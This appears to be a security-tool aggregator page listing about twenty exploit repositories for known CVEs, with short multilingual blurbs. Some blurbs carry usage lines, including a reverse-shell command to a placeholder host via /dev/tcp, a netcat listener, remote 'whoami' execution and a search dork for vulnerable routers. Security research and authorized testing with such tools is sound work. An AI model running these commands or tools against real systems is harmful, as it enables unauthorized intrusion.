mcpjam-cve-2026-23744-validator

MCPJam Inspector अधिकृत सुरक्षा सत्यापक CVE-2026-23744 के लिए एक सीमित प्रूफ-ऑफ-कॉन्सेप्ट सत्यापक जो कमजोर MCPJam Inspector तैनातियों को प्रभावित करता है। यह प्रोजेक्ट पहले से प्रकट किए गए CVE-2026-23744 के लिए एक स्वतंत्र, गैर-विनाशकारी सत्यापन उपकरण है। यह मूल भेद्यता प्रकटीकरण या शोषण नहीं है।...

kubolt

Was? Kubolt ist ein einfaches Dienstprogramm zum Scannen öffentlicher nicht authentifizierter Kubernetes-Cluster und zum Ausführen von Befehlen in Containern Warum? Manchmal ist der Kubelet-Port 10250 für unbefugten Zugriff geöffnet und ermöglicht es, Befehle in den Containern mit der...

jboss-autopwn

jboss-autopwn JBoss Autopwn, wie auf der BlackHat Europe 2010 vorgestellt – diese Version enthält CVE-2010-0738, die von Minded Security entdeckte Schwachstelle zur Umgehung der JBoss-Authentifizierung durch VERB-Manipulation. C. Papathanasiou 2010 EINFÜHRUNG Dieses JBoss-Skript stellt eine...

CVE-2019-12725

CVE-2019-12725 ZeroShell presenta una vulnerabilità di esecuzione di comandi che consente a un attaccante di eseguire comandi arbitrari Utilizzo dello strumento python3 CVE-2019-12725.py -u http://127.0.0.1:1111 test di un singolo URL python3 CVE-2019-12725.py -c http://127.0.0.1:1111 modalità...

CVE-2017-11882-exp

CVE-2017-11882 43b Lo script originale proviene da https://github.com/embedi/CVE-2017-11882 109b Lo script originale proviene da https://github.com/unamer/CVE-2017-11882/ omaggio: ora il codice di unamer può eseguire shellcode CVE-2017-11882:...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Panoramica di Apache ActiveMQ e OpenWire ActiveMQ è un broker che include client che supportano JMS e consente la comunicazione tra sistemi che utilizzano non solo Java ma anche vari linguaggi. Inoltre, tramite funzionalità di clustering, DB e...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Verwendung Befehlsausführung: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse-Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

CVE-2026-24061

Telnet भेद्यता स्कैनर और एक्सप्लॉइटर यह Python स्क्रिप्ट main.py एक मल्टी-थ्रेडेड टूल है जिसे लक्षित IP/होस्टनामों की सूची को स्कैन करने और Telnet पर एक विशिष्ट भेद्यता का शोषण करने के लिए डिज़ाइन किया गया है। !WARNING यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत पेनेट्रेशन परीक्षण के लिए है। इसका...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse-Shell wie folgt: Reverse-Shell-Skript schreiben python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Ausführungsberechtigung für Shell-Skript erteilen python3 CVE-2021-25646.py -u...

CVE-2007-2447

CVE-2007-2447 PoC: Samba „usermap script“ Remote-Befehlsausführung historische CVE. Dieses Repository enthält ein kleines Proof-of-Concept-Skript zu Forschungs- und Bildungszwecken. Das Hauptskript ist usermapscriptCommandExecution.py. Referenzartikel:...

CVE-2024-46627

CVE-2024-46627 - Controllo di accesso errato in BECN DATAGERRY v2.2 consente agli attaccanti di eseguire comandi arbitrari tramite richieste web appositamente create. DATAGERRY v2.2 non dispone di controllo degli accessi nella REST API per i seguenti endpoint: /rest/users//settings/ GET, POST...

CVE-2019-12725-modified-exp

CVE-2019-12725-modified-exp Modificato per correggere errori ed eseguire comandi con privilegi più elevati, inoltre è stato rimosso il sleep13 nello script originale per risparmiare tempo. riferimenti: https://www.modb.pro/db/120391 https://www.exploit-db.com/exploits/49862...

cve-2020-11651-exp-plus

Use bash para executar o parâmetro --exec. O script original era /bin/sh, então alguns comandos são incompatíveis, como o reverse shell em bash. 2. O código original obtinha a versão do salt-master local para determiner se o host remoto estava vulnerável, um erro lógico óbvio. Removi diretamente...

CVE-2024-7399-POC

CVE-2024-7399 Exploit per CVE-2024-7399. Maggiori dettagli possono essere trovati qui: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Uso: root@kitploit: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3...

CVE-2024-29269

CVE-2024-29269 Che consente l'esecuzione di comandi OS non autenticati sui router TLR-2005KSH. Questo exploit sfrutta la vulnerabilità per eseguire comandi arbitrari sui router interessati. Dork ZoomEye :- title:"Login to TLR-2005KSH" Fonte:...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus-Scan 0x02 K8 Tools GetShell 0x03 CMD-Abfrage Verwendungsmethode: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2017-12636

Couchdb-Schwachstelle zur Ausführung beliebiger Befehle CVE-2017-12636...

hfs-cve-2014-6287-exploit

أداة استغلال HFS CVE-2014-6287 نظرة عامة يحتوي هذا المستودع على أداة استغلال مبنية بلغة Python مصممة لاستغلال الثغرة الأمنية CVE-2014-6287 في خادم ملفات HTTP HFS الإصدارات 2.3.x. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر عشوائية على الخادم، مما قد يؤدي إلى وصول وتحكم غير مصرح به. ⚠️ إخلاء مسؤولية: هذه...

cve-2018-11776-docker

CVE-2018-11776 Docker container e POC exploit scritto in Go Puoi creare la tua immagine ed eseguirla: root@kitploit: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename Oppure puoi semplicemente scaricare quella che ho creato con amore per te: root@kitploit:...

WP-CVE-2016-10033

WordPress = 4.6 - Vulnerabilidade de Execução de Comandos PHPMailer CVE-2016-10033 Informações da Vulnerabilidade O WordPress é uma plataforma de blogs desenvolvida em PHP, que permite aos usuários criar seus próprios sites em servidores que suportam PHP e banco de dados MySQL. O WordPress também...